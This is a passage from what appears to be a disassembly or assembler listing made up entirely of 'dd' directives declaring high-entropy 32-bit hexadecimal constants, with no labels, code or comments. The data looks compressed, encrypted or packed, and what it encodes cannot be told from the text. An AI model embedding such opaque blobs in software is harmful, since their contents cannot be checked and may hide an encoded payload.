		dd 0BFF2C8B6h, 749A7FDAh, 13450500h, 0F618EE80h, 0B7888BD9h
		dd 26F49EF8h, 0BD2389BDh, 0CE9C1EF2h, 6108ED2Ch, 0ACB7032Ch
		dd 9E02C82Bh, 8BEAC3EFh, 407576D1h, 0EC9A8FA7h,	0DC6690Ah
		dd 94A03DFDh, 0B28307F6h, 98907A85h, 0B3B5F7DEh, 0BD4B050Ch
		dd 3BEC46D9h, 6589ECD0h, 7CF91253h, 20E86504h, 0EB768EB0h
		dd 3A22AF00h, 496C0CA6h, 0E07EFF52h, 6D327AFBh,	0A9D98C0Eh
		dd 95CC8199h, 313F1811h, 111F8427h, 0E2FBEF80h,	0FE3685A5h
		dd 832996E0h, 48F6F2B4h, 1AC40B5Ch, 0B56A18E9h,	21C83F2Ah
		dd 8F92DBDFh, 3C276C59h, 8DB35BB7h, 0B1D3432Eh,	0F5B9950Bh
		dd 422BCF07h, 74595C27h, 0FB059FA4h, 8905F519h,	58C50FCh
		dd 2B8500B6h, 7E79EFD9h, 41008801h, 8BFFB19Bh, 0BB4A4Ch
		dd 7BCA349Eh, 31FC5B5Fh, 2B59525h, 0D1C02B80h, 0D225BC6Ah
		dd 0C8C0996Dh, 0BB158Fh
		dd 2437AFEh, 0D1C233ADh, 83D048C0h, 167504E9h, 0A49529F4h
		dd 0DD13B3B5h, 29C8880Dh, 958B09DFh, 6A902375h,	0E2831551h
		dd 4D3140FAh, 24EEA432h, 81E0173h, 501D2719h, 1846C2DEh
		dd 0FF08C103h, 198564D3h, 0C44DDB58h, 86C1B5F4h, 8FA413BDh
		dd 0ED0D34D5h, 98D7B842h, 8A8770A8h, 25984C0h, 65B19197h
		dd 2804B815h, 0F9EE15B8h, 4CF2CEB8h, 1ADB2ED2h,	3E1F5880h
		dd 0AE04D277h, 0EBF97399h, 4A80AEBh, 15590871h,	0F3E1FF0Bh
		dd 7BE0782Bh, 3115B55Ch, 3169E462h, 4406C0Ch, 0D852429h
		dd 1013A1E1h, 14742201h, 107DC380h, 860F0381h, 0ED89132Eh
		dd 100990F4h, 1204595h,	68E2BB60h, 137B5833h, 83179BACh
		dd 10E9396Bh, 131B2566h, 0D500E180h, 9164D781h,	0B2C96B0Ah
		dd 0B253BD09h, 14355BD0h, 0C97E429Fh, 9813C516h, 4703FB57h
		dd 84391C5Ah, 0BB26D89Eh, 4EEE02E8h, 8553517Ah,	1AE2E963h
		dd 0B565700h, 15755DBDh, 335F5B07h, 89149785h, 39E3EE4Dh
		dd 0DDA2290h, 0E42FB381h, 0D300FBB8h, 89EE7D24h, 44E85E75h
		dd 9E00A113h, 0E9BA49A4h, 7F6A66h, 0ABE7A0BDh, 75697D81h
		dd 530D3E0Ch, 0BD90025Bh, 946EFC83h, 0F1DDA456h, 82ABB7Dh
		dd 0E812029Ch, 3FF0FD0h, 3BE6B51Fh, 3D2E8F00h, 0A0A99707h
		dd 7A6A0053h, 0D01A9835h, 504F5FECh, 0C800C1E3h, 3311758Ah
		dd 731BB898h, 0A4838B5Bh, 0A2761CBEh, 70434CBEh, 0D017E8F1h
		dd 0EB876A23h, 689E4F06h, 60521F4Eh, 9B58D261h,	6CAE82DCh
		dd 0F91D6052h, 58574D5Bh, 82BD1E20h, 1F1441FBh,	4B801911h
		dd 591BC754h, 27AFCD50h, 8221B02Ch, 4080588h, 0EA01F2E9h
		dd 8F3A6E7Ah, 0C48C513Fh, 9166E692h, 9D85A29Fh,	8C068FA5h
		dd 25B77F1Fh, 4377C767h, 6EAF8562h, 54BA00BFh, 8A69A8D4h
		dd 0B411065Ch, 6423B58Bh, 0E779EDB7h, 0AAC4F0EFh, 4719FF1Dh
		dd 0C9B8F4AEh, 0F989163Bh, 227B861h, 0B2584EDCh, 67689A5h
		dd 369D00DEh, 0B17D9950h, 0DB078189h, 12E7A467h, 29FDCB7Fh
		dd 0B32833B7h, 4046F2D8h, 942D9D74h, 0BF9600B6h, 4794E69Eh
		dd 0CDBD5077h, 6497C111h, 0E984C499h, 321B0B60h, 0C7CA25h
		dd 8F561EE1h, 0FF0D78D3h, 9FCB552h, 60D99D01h, 0B8656805h
		dd 0AF924A36h, 1FBBE28Ch, 47816D2Fh, 141A9A24h,	0B8A5AD6Eh
		dd 0CBDB02ABh, 299D23A1h, 29E17657h, 25A8AC82h,	801663F2h
		dd 0D4939ADBh, 0F960AFDEh, 0C91B830Fh, 90985655h, 7E005FF0h
		dd 0FF01BFAFh, 41FE5Bh,	89A87431h, 79E427Fh, 0E15F3E24h
		dd 50FC7B5Ah, 0DE09090Bh, 0ECF8B33Bh, 69BF16D3h, 311A223h
		dd 8B659A4Eh, 0BDD1A1D2h, 0E4FEACD0h, 16D500AAh, 84BA326Dh
		dd 0C72CF861h, 3F6DCD85h, 0FBF31C66h, 3146E5F0h, 0DC0DBD38h
		dd 96B2900Ch, 3FA51F56h, 0CC0CA5Bh, 6980C482h, 636A120Bh
		dd 0E9C8B07Eh, 0C10BDE1Eh, 3050FABFh, 44C1600Ch, 0C11E01E6h
		dd 0EB310E8h, 0F14C8302h, 75295803h, 36EBE70Dh,	6404DE36h
		dd 3316EE39h, 2829501Bh, 58182140h, 570113CDh, 8BC01B09h
		dd 804FB1C0h, 60BB5E27h, 0A8E8E64Ah, 776379Fh, 2B52573Fh
		dd 9E81C927h, 715D4A02h, 850EC3E5h, 207691E1h, 8FF80C41h
		dd 29E36C95h, 66E5786Ah, 81023DC3h, 1C2AF7C7h, 6CF14241h
		dd 1BA5272Ch, 415FC11h,	178007E8h, 1291F050h, 0F2FF2200h
		dd 0C913DCFAh, 214C0018h, 0C744F902h, 804E0F8Bh, 0E1D8231h
		dd 0F3615F02h, 6A2B0D1Bh, 850C0538h, 0DBC10759h, 0C7021D69h
		dd 52F50E5Fh, 0FBC12E9h, 40F21D00h, 5B72EFECh, 28E95C96h
		dd 1C510D80h, 3916CE7Eh, 0AC50B6h, 6526D834h, 0E00CB6A0h
		dd 7C3EED13h, 6E92235h,	8AA06A02h, 8472C9DDh, 1DE13DC5h
		dd 2E06E3Fh, 36F9AF8h, 7FD8008h, 0A57EAE2Ah, 0D6D224C5h
		dd 4EFD9209h, 0E146060Fh, 580176A3h, 21C46851h,	0F560052Ah
		dd 200949B2h, 8080F23Eh, 0F8FEBA66h, 31615F2Ch,	4147108h
		dd 8CC48689h, 3827EF6Ah, 0B45C1BB0h, 831421BBh,	0F0C23EC2h
		dd 6A59290Eh, 18439800h, 2AD0D76h, 897314F0h, 0B0D42050h
		dd 2B8200DCh, 60EC430Ch, 290B6B95h, 1019C9BDh, 80C4A450h
		dd 0C4C8DE8Bh, 0BD09BBB8h, 0DCEC207Dh, 5E4B900h, 68633CF0h
		dd 6A1D00F7h, 0B3DE9184h, 5A0046ADh, 0B7F38155h, 5F5415F6h
		dd 0A30CE75Bh, 1F499098h, 9B069839h, 48240945h,	70466432h
		dd 8637B100h, 1EDA602Bh, 21909D59h, 5E0024DEh, 1B85661Ah
		dd 17A1D507h, 8C170AFBh, 112CB7DDh, 8907CB96h, 0CD6950D5h
		dd 4284C2E4h, 37F75192h, 1A31675h, 39B8AEBAh, 49A888E8h
		dd 0DA8B0930h, 0DB99883h, 556F22C4h, 206269CFh,	0AD524001h
		dd 7E608107h, 2FDFF8Ch,	0BF63F8Ch, 97A0ED9Dh, 93B0535Eh
		dd 0F1045B5Eh, 7C1D6AB6h, 44F35F5Eh, 0DB243489h, 0C0ADC19Eh
		dd 0D92042E3h, 190341FDh, 4D8A01ACh, 59050516h,	12602E29h
		dd 9520D780h, 2B0E90DDh, 0C3A8BF9Dh, 60D91EA3h,	885C0240h
		dd 8912F98Bh, 0D9B4E59Dh, 952D7685h, 0A2D0CD7Bh, 1C9EAD7h
		dd 0C12B2D68h, 0C2C6E065h, 0D840914Fh, 5A1B0AA7h, 0A0781DB2h
		dd 814AB8B0h, 8EE309C5h, 0D23217F2h, 0B70F0317h, 0F3DBE9DAh
		dd 73FCA9CFh, 2F4048DCh, 28027910h, 0D5BEA50h, 0C189F05Fh
		dd 0AD8973FCh, 0F0053935h, 16FB257Bh, 8091E86Fh, 41457F82h
		dd 2C5F072Eh, 9161D8CAh, 289E772Ah, 5C0A806Ah, 1D026691h
		dd 40B3A9D8h, 97BE7E8Ch, 1B0413C6h, 5BAF07C5h, 8F086E85h
		dd 0A899800Ah, 1BDE69B4h, 431D2605h, 0BA815E4Fh, 832061F3h
		dd 82044989h, 81D27AE9h, 0D9DE5760h, 25B50140h,	6A2F832Dh
		dd 8285E2F0h, 90307905h, 269589A1h, 41F80F1Dh, 0F82241CDh
		dd 5B4BF556h, 0BD2BCA80h, 0E5295F2Dh, 26FE2B0Dh, 0D97B5CC1h
		dd 1F50B797h, 4D5B4BAEh, 543870F4h, 0C56B9D4Bh,	0BFEFF011h
		dd 0F9D2E80Fh, 0CE92BCDCh, 13001EAh, 37C8D381h,	9A3E04E3h
		dd 0C01AC8E6h, 0E2A47975h, 97DB4712h, 22F56304h, 4E87B712h
		dd 84002C6Ah, 0E0583C97h, 0B572F2D0h, 1AFE61BDh, 2BD1FF01h
		dd 923E6C6Eh, 0C9784F80h, 0B5A2A307h, 45AA1497h, 12D2A989h
		dd 0B7026A0Bh, 6BDE8035h, 3289A5C1h, 90585E04h,	6081D7BFh
		dd 0DB3F5056h, 0B2A2C0CBh, 0B580D3D7h, 1332DE04h, 46B7DA57h
		dd 0DB763EB0h, 0E6C154CAh, 40C870A5h, 5B25E91Bh, 88BBC50Eh
		dd 0B42841D7h, 802FD561h, 0F62AB7D3h, 0FEB0E0DFh, 8D312EC8h
		dd 0A758C9CBh, 0E28F6D95h, 0C4E00A01h, 9C070FCBh, 0BB901566h
		dd 28469241h, 78A9C645h, 0D95C07B8h, 0B4BF02CCh, 406B6F2Ch
		dd 950E351Dh, 10E714DFh, 0B405A59Dh, 3E0CCB6h, 0F41F951Bh
		dd 1453C77Fh, 49FE520Eh, 0D66BFCFBh, 0DD001B46h, 4C0C868Eh
		dd 3036E15h, 8509FF6Ah,	60EEB5EDh, 1A453EF6h, 0FF5FB3Dh
		dd 0C010174Fh, 9765BE5Ch, 0A41C1737h, 0E13E1767h, 0BC542965h
		dd 18D725C1h, 11257C70h, 116CC529h, 0BF66045Ch,	0BFF9BE5h
		dd 7D2B09Bh, 70E68788h,	50FAC4A2h, 1071E433h, 6621042Dh
		dd 0B99A6ABBh, 1311656h, 7C01FCB6h, 0E41F5EE3h,	6AE17F53h
		dd 97E2F8C0h, 228C6125h, 0A071BAEBh, 26172D88h,	41C631EBh
		dd 71D2720Fh, 72A3015Bh, 0BF378C28h, 0BB716D9Ah, 0F17162A5h
		dd 8BC20075h, 0EF1AD1A1h, 21E6F000h, 0D506A7D4h, 13F9FC5Ah
		dd 0FCC82B84h, 0FF103FEh, 0B361CBBFh, 24BED4D1h, 308CC07Ah
		dd 2400036Bh, 0B58A086Dh, 225FAh, 5FF93ED5h, 6663D6B9h
		dd 0E961240Dh, 6F783929h
		dd 3404C180h, 8A00F41Ah, 0DD3D7CF9h, 2FF85E52h,	20AB820Fh
		dd 79FC5A44h, 0EE943B0Bh, 2E325042h, 167E143Ch,	2CEDE585h
		dd 0BF7180E3h, 0E2AC28D3h, 0C10D97D0h, 1760C206h, 199726F9h
		dd 811015BEh, 0FC05CBD7h, 48E92B07h, 0CC503D0Ah, 1C064908h
		dd 0B64B7C5Bh, 71C309DCh, 14AE71AAh, 0EED1C52Ah, 533A184h
		dd 2003A583h, 0EAB529FEh, 80A5642Eh, 0B59D0168h, 0B95BEF29h
		dd 20D23F08h, 6ADE25D0h, 0EC78E4DBh, 0F83B250Dh, 0B7C0CF7Eh
		dd 9ABCB9DEh, 0C8690E3h, 0AC902E0h, 0C1BDFCE2h,	983A293Eh
		dd 9400C7D0h, 9CF4541Ah, 2C4CFE2h, 0FC40177Fh, 5446890Fh
		dd 0F8628F42h, 0B8040891h, 4EF805EDh, 5901EF7Fh, 6DCDFC0h
		dd 0CA929E8Ch, 0DE6503D9h, 0B819D22Bh, 83E7180Dh, 0C3C2A468h
		dd 0B25C5B8Ah, 18B7D77Ah, 0B0EED207h, 20D48CD1h, 976A6B20h
		dd 982F69Ah, 0DC092AFDh, 0A5CB2639h, 606D4D7Dh,	4ABE3BBBh
		dd 4EFAF400h, 69E3810Eh, 2A5CFA64h, 0B03A880Dh,	0A274D366h
		dd 542200D7h, 8BCD429Ch, 0AB5B01FAh, 0FDD4875h,	0C0C43CA3h
		dd 7FD5EF81h, 0CD6C4B22h, 0F0D6261Eh, 71079FA0h, 55851229h
		dd 0F539F22Dh, 4B8C7CA0h, 0FCF26Fh, 927C437h, 0E7780D2h
		dd 0F2F34674h, 0D5B1D160h, 6B381FABh, 9D899270h, 2EC7E1BEh
		dd 8AA81128h, 22769162h, 0E8BABD44h, 4AB8387Eh,	94C0859Eh
		dd 0C7B96E2Bh, 0D3E86609h, 0AD3C7B23h, 46417DEDh, 611012E8h
		dd 7A00B50Ah, 0DD303F76h, 0AEC827h, 92BD1157h, 52972645h
		dd 0BFD09395h, 43A4C8C0h, 0CA880E84h, 9240072Ch, 6EE40C3Eh
		dd 0FF2D7698h, 146B7E1h, 0CC1A9C8Ch, 54282F75h,	96FE8A48h
		dd 0F2230D40h, 9B6C0516h, 8C204832h, 0C2001F5Bh, 0FBFBDCCh
		dd 3980475h, 0D07FA7B3h, 0EBE1E01Bh, 73292F5Bh,	5655DDBh
		dd 8B12E7B8h, 8FF2F554h, 0FD93CF8Eh, 0D6E851h, 220E7F65h
		dd 606C1923h, 0C015ED9Dh, 0FA1ABA90h, 0EBE03424h, 70496B26h
		dd 88CD95C8h, 642ABAC0h, 419D1229h, 46C8F219h, 3EB2B051h
		dd 0F29B122Ch, 0F9E4F41Eh, 645C6F9Fh, 80D3EC99h, 0F015D6F7h
		dd 4B8ACh, 39C21AF2h, 3F6BDCB2h, 9D09DF05h, 63FD1295h
		dd 2504BF26h, 12DBC46h,	97C47A95h, 1462E01Ah, 46FAAC75h
		dd 502F40D9h, 9EE1F980h, 9306284Ah, 91B72508h, 0FCE0D400h
		dd 69CA9805h, 20C654DCh, 9B68DA02h, 0FD44EDA0h,	24349980h
		dd 0F279A364h, 0BA0BD4B8h, 0DB6122E2h, 4AAD910Ch, 342E6D8Dh
		dd 3C16F2Dh, 0BD29601Ah, 615F3B55h, 78DA8DADh, 0DB0D48B0h
		dd 8901BAE9h, 9732E1F8h, 0E7812CB8h, 87124209h,	0B5307A68h
		dd 0FF4053EFh, 4E0E596h, 4E186BE7h, 9730BC7Ch, 0A5BCDDADh
		dd 0B3F6B803h, 0F4CB80C5h, 0E6D62FBDh, 6253A03Ch, 8C5126DDh
		dd 1497606Ch, 0A6004858h, 9C295AA2h, 0E13E01h, 0D2949F77h
		dd 89FB8B7Dh, 0A7073795h, 5C09BF7Ch, 90B1761Ah,	1B0D6405h
		dd 8A306109h, 0E918EB81h, 465C9B2Fh, 0EDB79D04h, 93E45F02h
		dd 40615860h, 9519292Eh, 50772A09h, 72606F78h, 0C7637EEh
		dd 73429A97h, 1839700Ah, 10E19C48h, 681F1F29h, 116682EDh
		dd 86F9850Fh, 203EF089h, 794012A8h, 0A138C411h,	0D641BD0Dh
		dd 11E0FEA6h, 0B4067661h, 0EBBE6AEFh, 951C90F2h, 1370BD7Bh
		dd 483E0036h, 0BB6699DCh, 0F849C2FAh, 0B70F81EFh, 9B3B61FEh
		dd 79618916h, 207CEB37h, 76826D4h, 2B4538F7h, 0B72D5028h
		dd 0DA63AC6Fh, 8309ADF2h, 21A804D4h, 919D0B42h,	1D9749F8h
		dd 37D57230h, 382A0093h, 9597E303h, 4E0CC812h, 19255D04h
		dd 6F7ABBh, 0D1DE7FB5h,	504D6739h, 4827AFADh, 0D812952Fh
		dd 8450F2FEh, 5D5F0418h, 2A47E7F5h, 9130514h, 5315319Dh
		dd 4237AD32h, 0A34D5501h, 342FFE8Bh, 0B88EBD5Fh, 0BF9E126Ah
		dd 7B04AFE6h, 98B935A5h, 0A83BA9D6h, 0DA2E4BBEh, 0C017C855h
		dd 21FB761Eh, 500905BAh, 95B5152h, 535B098Fh, 1D3771B0h
		dd 423D1660h, 2B597616h, 0BA3EC73h, 77AEA823h, 2A4166D0h
		dd 162EA819h, 0ECE9A915h, 60B80D57h, 0C017830Fh, 807D61F8h
		dd 26352FE5h, 4DE2B6F6h, 0C0A77971h, 989D09F9h,	40129733h
		dd 24DC237Eh, 8D5D6CEh,	56041731h, 21EB890Fh, 2F5BF969h
		dd 0E000597Bh, 4DAC5723h, 1504C894h, 2F6D9D33h,	0B36E7B29h
		dd 83C2057Eh, 0E80FFCE2h, 0EAF52568h, 0D33D5F7Ch, 3A125900h
		dd 60DFE6B6h, 0CF8144A2h, 19255A30h, 6405ED5Dh,	0DC6B601Bh
		dd 0A59505D2h, 0F6D79705h, 301CB280h, 200BFA6Eh, 427E4A68h
		dd 0A7B9D1A1h, 22402758h, 5CC49F96h, 0BF274A00h, 47190CC9h
		dd 0C8504F58h, 0D5009A54h, 606FE1C6h, 0C0F8FEh,	35633784h
		dd 0FF910797h, 4B9AB20h, 0DEB7505Bh, 80DDBC96h,	0E8754B7Eh
		dd 78251818h, 2751821Fh, 97F91697h, 0E8608324h,	0CEE48F9Bh
		dd 0CDD220C4h, 4AE7CF1Bh, 0EB5152E8h, 0E44F8F0h, 4DDE831Eh
		dd 38202A80h, 0F1020179h, 5A59514Eh, 53AA5E61h,	0F81BADF5h
		dd 0F7DC0E7Eh, 47A5C701h, 58A227h, 0F9DE9706h, 7F913D68h
		dd 96403F5h, 50083381h,	97FE608Ah, 99C96164h, 0FA42DC6Ah
		dd 99D90ACh, 8A8C71F5h,	43B38C0Fh, 9DEA2950h, 5F4958D8h
		dd 8C16B84Dh, 0B84CC112h, 814EAFF3h, 2FFCEE7Fh,	8935AE28h
		dd 7B844D60h, 9E8B5790h, 0B2B6006Eh, 0E89B9283h, 8A0060CEh
		dd 0CF4EBED5h, 0E3615422h, 62C4372Fh, 77D3C6F8h, 0C59D89BDh
		dd 6B877B1Ch, 64142EB5h, 0E2558ADh, 27E9B515h, 0F319FFF2h
		dd 0F0BD71A3h, 0F7053E9Fh, 0C18B91B7h, 7000246Bh, 0BCC08025h
		dd 855F9D01h, 0A4B901C4h, 80429AD2h, 805298FDh,	50452CE7h
		dd 0E9992554h, 56032CFEh, 0CCF9F01Ah, 0A3CD662h, 8CA28DD0h
		dd 0B2B839B3h, 0B1C2514Ah, 16505EF9h, 0FA317090h, 200FBB50h
		dd 0F74D3FDAh, 5100996Fh, 29437B26h, 0D29D9585h, 0D7F70359h
		dd 6A774BAAh, 0F5086D64h, 9D323BCh, 0FE73F81Ch,	53181D59h
		dd 0C870B303h, 0B874B201h, 188909FEh, 8F1B459Dh, 0F6F0F7F3h
		dd 0D1FF4F16h, 0F5B87ABDh, 0AC26B800h, 17D19F2h, 0CF4A95B5h
		dd 6551095Ch, 0C176DE3Ah, 0A54AE936h, 39B0E02Eh, 66A2F40h
		dd 51BD2902h, 50121031h, 2056F4B3h, 14E52404h, 17BCEAB9h
		dd 0D3871F8Ch, 0EB319230h, 4AE951E4h, 89A0E355h, 743429BCh
		dd 0BA00DCE6h, 7606F605h, 179622F3h, 0F051D1E2h, 0B095F57h
		dd 7301059Dh, 0B9092E8h, 0F071506Bh, 3A4680BEh,	9B5A6402h
		dd 452701D0h, 786D5479h, 0B5A3E097h, 0FC8A1917h, 8D3080B1h
		dd 8A324BF1h, 2B817DBAh, 0B2E64E0Fh, 0B11E02A0h, 0C7BDE409h
		dd 350477AAh, 0B4DAAFF9h, 0E9CE15C8h, 0D9BB0313h, 0A4474802h
		dd 332DB53Eh, 0F4401B6Fh, 4BF1756Ah, 4696989Ah,	1C36CC8Ah
		dd 449CCEABh, 0B86E620Ah, 0D9B5089Ch, 0F4074932h, 45D19C5h
		dd 28EB862Dh, 591C8C8Ah, 81C0D758h, 0DC514DE3h,	92F04B30h
		dd 4E7D0AA7h, 0C82D00A3h, 968DBE34h, 0FA00475Bh, 739E56DFh
		dd 92F5274h, 926EA2B2h,	3C9EAF70h, 3B2CE508h, 0DFC9BBCBh
		dd 262B8431h, 834A1CB9h, 8508C2E6h, 88BB21F9h, 260D1DBDh
		dd 0DA8A0935h, 8012BF70h, 0B0E0A2EBh, 2BA01BB3h, 0ECFF76C8h
		dd 0F2ED12Fh, 0FEC53881h, 5258BEF2h, 40013B50h,	7AC45F30h
		dd 0AC560A1Dh, 4C2B254Fh, 1AFA9DD5h, 87C84600h,	0A3A92866h
		dd 2410321Ch, 775CDB62h, 0F9B52909h, 0B8CB3CD4h, 4BDD3C2Fh
		dd 8A287D8Ch, 0DC0D458h, 3A6ABEBFh, 0EAD19775h,	0BF46427h
		dd 5CC1D0A5h, 9C401DFCh
		dd 2ADA741h, 0B50D8E52h, 1ADD3363h, 39945500h, 0CEB8103h
		dd 0FA530B4Fh, 0FE1580A5h, 0A29589F9h, 3D46C07Bh, 80149733h
		dd 13E28420h, 0E96A81B7h, 0E0BC79h, 0E7971527h,	0E3315638h
		dd 7F85BD4Bh, 0A97175EAh, 62DFA809h, 1B0DCCFFh,	5002B902h
		dd 0FB7BFB8h, 0BD31E501h, 0AA481E8Dh, 82605AFCh, 6600200Bh
		dd 3FC8F081h, 0B7056128h, 0F9C02B3Ah, 946B885h,	5EBC9CEEh
		dd 17BF7103h, 0C192BA92h, 0DEDA9356h, 0AF5ED489h, 0EDFCDB0h
		dd 0A99D035Bh, 204AF217h, 6090950Eh, 583CEF81h,	0D465CE14h
		dd 0E7E0D1A6h, 0E204251Ah, 91C0AFEh, 2B5D89FAh,	0D0DB6D53h
		dd 673CD480h, 7D09DD96h, 7162AE2Dh, 7405A6Ch, 0CCB70479h
		dd 9AE89518h, 410B628Fh, 375B0A2Dh, 6FA39F1Eh, 0ABDD3E90h
		dd 48E7A700h, 56BB54DFh, 482FCE2h, 42089557h, 2B57A101h
		dd 0BF5A9328h, 2681453Dh, 0B83E7B13h, 2B8CCD2Fh, 129A8254h
		dd 93B83149h, 0A82DFDD3h, 72A2008Eh, 85B2F8B0h,	0E47C75EFh
		dd 949503B8h, 0BB324445h, 2552D409h, 44257142h,	9D29423Bh
		dd 56BAEAFDh, 17F2510Ch, 60D8BF61h, 80D39B2Ah, 270E6A1Fh
		dd 3A652563h, 1082CE9Ah, 0F3561E19h, 59388749h,	25D55B09h
		dd 48419FEDh, 9A30753Bh, 70F00089h, 0BB66E2CFh,	41A6FAE0h
		dd 19D1BD10h, 18E9914Ah, 46830401h, 0BF1D0209h,	64288F59h
		dd 0ED6B2E54h, 74E5C125h, 0C0826E7Ch, 0EFD6561Fh, 0CAE293h
		dd 113FBB90h, 0EC507173h, 0A3FF48F7h, 0C1D19D7Ch, 72311700h
		dd 422233Dh, 0CCCDDD66h, 0D136C316h, 0A85F0DCCh, 0A53420h
		dd 680971E0h, 80F6799Eh, 5082B325h, 8A610B79h, 326D7F28h
		dd 0A4BB1DC0h, 2BF42F9Eh, 65D6E1A9h, 6B0F09F4h,	0EF59D680h
		dd 8B783EABh, 0FD02123Dh, 0E96E047Eh, 1FDEABC5h, 36571DC0h
		dd 133F6F6Ah, 0A1C74F12h, 8B903E4h, 0FCD813DFh,	0B531C141h
		dd 0AC040CC5h, 738A4F10h, 0CDF78101h, 2B5DD730h, 0DFFDF825h
		dd 870448BCh, 450D1EE6h, 1624AB87h, 5CAFE812h, 2DA4A24h
		dd 7DC01CC8h, 5A393C0h,	23584CEh, 23EDE045h, 26C59D26h
		dd 0E6448996h, 58BD7CE3h, 4634B097h, 82E6044Bh,	71A12BE0h
		dd 2E923C04h, 0C1AD902Ah, 2BBB894Ah, 0F1C05F9Bh, 79E1E874h
		dd 80796CE7h, 29F3133Eh, 0BD64123Bh, 8F238847h,	6A6F0B00h
		dd 8063943Eh, 0F5729Eh,	0A1EFF150h, 9003B74Dh, 358DD0C2h
		dd 341C5D1Bh, 34C85048h, 5881938Bh, 51E23F0Fh, 3C9D8058h
		dd 3E6C0B1Eh, 0E7C8A603h, 0B0D9C003h, 12F21421h, 20E04731h
		dd 58A9B70Eh, 0A5DB803Bh, 90C37B8Dh, 6050090Eh,	43C2C461h
		dd 2F34AD9h, 0A83114F2h, 824F416Ch, 5206010Ch, 0B4A2B50Eh
		dd 1F5C615Fh, 0C1F302DCh, 6B06959Dh, 7740BFF4h,	2252633h
		dd 5968A5A6h, 0F8E0B04Ch, 5B09153Bh, 5C51EF80h,	1946F642h
		dd 0D479C501h, 89AC1CBFh, 592AA1D6h, 364DC61Ah,	7873F39Dh
		dd 9602DE2Ah, 143EEAB6h, 0D2A5109h, 3B2B3BE9h, 80BA9A22h
		dd 0B61F20F4h, 0C29500F1h, 4AFBE19Ah, 0E07560Fh, 8B60361Bh
		dd 0BE9129D5h, 3B2E5B61h, 3EDA42Fh, 0A304DA8h, 0EDB5F409h
		dd 9D03882Fh, 0BF84A09Fh, 4B64E616h, 690B8A4Fh,	811ABD50h
		dd 0AA913888h, 7CBE0D8h, 0F981853Dh, 6A8B4512h,	0D7ED152Ch
		dd 80C8DB61h, 8D29FDA6h, 75265FC5h, 39EE0497h, 9172AE2Bh
		dd 3590D550h, 0CB126082h, 77B84A74h, 0C1E4DAA4h, 0CE3BAB11h
		dd 4AA57B30h, 0D677E20Eh, 8D38A06Bh, 0F31C493Fh, 69AB84E4h
		dd 2852FA50h, 19C99A05h, 6127CBF8h, 8B0D2ED1h, 11350EDFh
		dd 0AB99D742h, 647CCD92h, 0F4D96118h, 0F8D985CDh, 0C8799A2Bh
		dd 0D09EC017h, 60BD6E20h, 5F86C676h, 33DD8236h,	0CD646105h
		dd 2AE0FEFh, 0E245E6B2h, 0BE93301Dh, 0DAA15200h, 941BD4A5h
		dd 6EBB040Eh, 0B86711A0h, 51E74E46h, 0F888D207h, 0E390E4DAh
		dd 58502561h, 5B1A4021h, 19340997h, 0B1C4CBD6h,	86D73B0Fh
		dd 9C3E220Bh, 0FE907170h, 7B2BD5Eh, 0F2205016h,	0EA430086h
		dd 12FB799h, 31997CFh, 0DF342BF9h, 7F67EBECh, 0F2D5650Bh
		dd 0E5606282h, 0B004504h, 3EC68FB7h, 58C6B2E9h,	0AA6D5734h
		dd 1D30B2E7h, 4F15F270h, 8A1A87B4h, 4702C93Dh, 8001308Dh
		dd 372B3AC3h, 0EEF7926Fh, 69514956h, 0B0C0B72Fh, 13ACA70Ah
		dd 0BBDF267Dh, 4ACD254h, 7039C266h, 82FC8A44h, 0B5C51A2h
		dd 0A78D5B64h, 167A6E3Ah, 7AACF91Eh, 4227110h, 29499D0Bh
		dd 0DA5ECB8Eh, 0B0498013h, 0B6B1BA9h, 0B597030Ch, 9F00FB64h
		dd 0F9BD0E60h, 95667F4Dh, 0D15B929Ah, 3C7F70h, 653D94E0h
		dd 0FF110954h, 8FB0604Fh, 0E4578202h, 77781Bh, 154EE36Ch
		dd 0D839C818h, 0D6AB6602h, 0B5616421h, 80ED237Eh, 3C07BC33h
		dd 0B91EE1A8h, 0F7A51480h, 0D71211ECh, 0A6FBABD6h, 4BA65E94h
		dd 0CC4215A0h, 0F5ED3D12h, 0FE92F3B2h, 6E2E10A1h, 121F2FD1h
		dd 0A7F65494h, 1F42774h, 5AA43191h, 6A21CB5Bh, 8D181F1h
		dd 0D1FC607Ah, 0B9006A50h, 7EA77C7Bh, 4B835327h, 0AA2E85FDh
		dd 1D01F081h, 0B12AAC14h, 77698C0Fh, 9A0A74Ah, 5C8AE9FEh
		dd 0E2402D9Eh, 0BD7B3355h, 48B1840h, 15B509C1h,	0CADFAD1Ah
		dd 310052E8h, 4A6A4362h, 0F56C02F8h, 2FA464B4h,	5A72B5C2h
		dd 0F25EAB0h, 0FC0C298Ah, 0E9B25ABAh, 0B74EB155h, 0E1F9A5D7h
		dd 1D463028h, 0AE2260E8h, 0DBFD0263h, 0CD5634A9h, 0C0D36D27h
		dd 600BB2CEh, 9722FA0Eh, 45AEB25Ah, 4B75B5B8h, 0F3446182h
		dd 6CC18000h, 994790ACh, 0A541062Ah, 949BE009h,	50619212h
		dd 0A0B048E7h, 10B0D1C8h, 7AE9C94Bh, 0C0059B4Eh, 8EDA70B5h
		dd 0DC421305h, 9AD5BC09h, 0ED506150h, 0D196D5DEh, 0CC606EADh
		dd 5D62B1Ch, 874C36A1h,	2A3EE1F5h, 81054ECAh, 0FE67D2E3h
		dd 0D19D8602h, 301A571Ch, 0C80E235h, 0A686D859h, 0DBFB2580h
		dd 0F02F26C5h, 1B379F44h, 38437880h, 26A82h, 0BF50FB8Bh
		dd 18862266h, 37DDF6AAh, 93490595h, 9D42819Ah, 0FEF75481h
		dd 8E0FAA05h, 8F7254C9h, 0D686880Eh, 12B1E62Bh,	5B0B7F52h
		dd 1ABB415Fh, 2E44E901h, 43F23638h, 3015E260h, 1095D62h
		dd 7A170DBDh, 0E7DA4A40h, 0ACE34914h, 1EEF0B28h, 0ED98A854h
		dd 38018FB5h, 90E1502Eh, 70D672B3h, 0DB2BEFE9h,	0B7238345h
		dd 9136D089h, 0B08272B8h, 9588B091h, 499E6194h,	5F8400DCh
		dd 0D27F99A2h, 0B54AB3E6h, 79C08184h, 975C92EBh, 0D03F8733h
		dd 1BEF02F9h, 5C7B0F05h, 465E2D6Ah, 56F600F6h, 32DC4BF7h
		dd 0D025C713h, 899059B3h, 7472FA8Bh, 7F056ABFh,	0AB0A6A84h
		dd 0D3F5F028h, 0A9130437h, 46B00B2Ch, 3779B50Ah, 564868C0h
		dd 427081h, 70E67634h, 0F3BB71E4h, 58035F12h, 0D2C44FE4h
		dd 6A36B149h, 9D299BF0h, 0C19E24DBh, 5E65A7BEh,	0F7E2694Bh
